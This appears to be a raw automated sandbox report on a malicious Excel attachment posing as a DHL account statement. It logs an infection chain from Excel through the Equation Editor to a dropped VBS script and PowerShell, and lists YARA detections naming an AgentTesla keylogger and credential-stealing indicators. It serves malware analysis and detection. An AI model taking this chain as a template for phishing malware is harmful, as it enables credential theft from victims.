Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_010243C8 6_2_010243C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_002438E8 8_2_002438E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00244908 8_2_00244908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_0024F320 8_2_0024F320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_0024BB58 8_2_0024BB58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_0024B3CD 8_2_0024B3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00243C30 8_2_00243C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00471D60 8_2_00471D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_004705C0 8_2_004705C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00474668 8_2_00474668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_00471678 8_2_00471678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 10_2_002C4030 10_2_002C4030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 10_2_002C38E8 10_2_002C38E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 10_2_002C4900 10_2_002C4900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 10_2_002CF318 10_2_002CF318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 10_2_002CBB50 10_2_002CBB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 10_2_002CB3D3 10_2_002CB3D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 10_2_00451D60 10_2_00451D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 10_2_004505C0 10_2_004505C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 10_2_00454668 10_2_00454668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 10_2_00451678 10_2_00451678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 11_2_001C38E8 11_2_001C38E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 11_2_001C4900 11_2_001C4900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 11_2_001CF318 11_2_001CF318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 11_2_001CBB50 11_2_001CBB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 11_2_001C4030 11_2_001C4030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 11_2_00481D60 11_2_00481D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 11_2_004805C0 11_2_004805C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 11_2_00484668 11_2_00484668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 11_2_00481678 11_2_00481678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 12_2_001D38E8 12_2_001D38E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 12_2_001D4900 12_2_001D4900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 12_2_001DF318 12_2_001DF318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 12_2_001DBB50 12_2_001DBB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 12_2_001D4030 12_2_001D4030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 12_2_003F1D60 12_2_003F1D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 12_2_003F05C0 12_2_003F05C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 12_2_003F1678 12_2_003F1678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 12_2_003F4668 12_2_003F4668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 13_2_002538E8 13_2_002538E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 13_2_00254900 13_2_00254900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 13_2_0025F318 13_2_0025F318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 13_2_0025BB50 13_2_0025BB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 13_2_00254030 13_2_00254030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 13_2_00661D60 13_2_00661D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 13_2_006605C0 13_2_006605C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 13_2_00664668 13_2_00664668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 13_2_00661678 13_2_00661678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_00368840 14_2_00368840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_00364938 14_2_00364938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_00363920 14_2_00363920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_0036BDB0 14_2_0036BDB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_0036F5F8 14_2_0036F5F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_00364068 14_2_00364068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_003688F8 14_2_003688F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_006E0860 14_2_006E0860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 14_2_006E1918 14_2_006E1918
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Yara signature match
Source: sheet1.xml, type: SAMPLE Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.powershell.exe.41bb700.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: Process Memory Space: powershell.exe PID: 1904, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, cPs8D.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, 72CF8egH.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, G5CXsdn.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, 3uPsILA6U.cs Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, 6oQOw74dfIt.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, aMIWm.cs Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, 3QjbQ514BDx.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, 3QjbQ514BDx.cs Cryptographic APIs: 'TransformFinalBlock'
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winXLSX@20/8@7/4
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR75BB.tmp Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\controlfiredatinloverforxlammfile.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................K.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................'.=.'...(.P..............................L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............................."L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.0.5.6...4L.........................s....................&....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................@L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................RL.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................^L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................pL.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................|L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .n.d.i.n.g.E.x.c.e.p.t.i.o.n........L.........................s...................."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . ...C.o.m.m.a.n.d.s...S.e.t.V.a.r.i.a.b.l.e.C.o.m.m.a.n.d......s....................>....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................L.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................M.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................M.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........X.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........X.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................'.=.'...(.P.....................L........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.2.1.2.7.../Y.........................s....................&....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......;Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......MY.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......YY.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......kY.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......wY.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .n.d.i.n.g.E.x.c.e.p.t.i.o.n........Y.........................s...................."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . ...C.o.m.m.a.n.d.s...S.e.t.V.a.r.i.a.b.l.e.C.o.m.m.a.n.d......s....................>....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........Y.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................L........Z.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........Z.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................~d.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................'.=.'...(.P..............................d.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.3.1.9.8....d.........................s....................&....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................e.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................e.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................#e.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .n.d.i.n.g.E.x.c.e.p.t.i.o.n.......8e.........................s...................."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................De.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................We.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................ce.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . ...C.o.m.m.a.n.d.s...S.e.t.V.a.r.i.a.b.l.e.C.o.m.m.a.n.d......s....................>....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................e.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................e.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................e.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......mq.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......yq.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................'.=.'...(.P..............................q.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........q.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.2.7.9....q.........................s....................&....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........q.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........q.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........q.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........q.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........q.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........r.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........r.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .n.d.i.n.g.E.x.c.e.p.t.i.o.n.......#r.........................s...................."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L......./r.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......Ar.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......Mr.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . ...C.o.m.m.a.n.d.s...S.e.t.V.a.r.i.a.b.l.e.C.o.m.m.a.n.d......s....................>....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L.......kr.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................L.......~r.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................L........r.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................z..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................'.=.'...(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.5.3.5.0..............................s....................&....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................l..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................l..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................l..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................l..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................l..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................l..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................l..................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .n.d.i.n.g.E.x.c.e.p.t.i.o.n.......0..........................s...................."....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................l.......<..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................O..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................[..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................y..........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P........................................................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P........................................................s............................................ Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx ReversingLabs: Detection: 68%
Source: DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx Virustotal: Detection: 52%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\controlfiredatinloverforxlammfile.vbs"
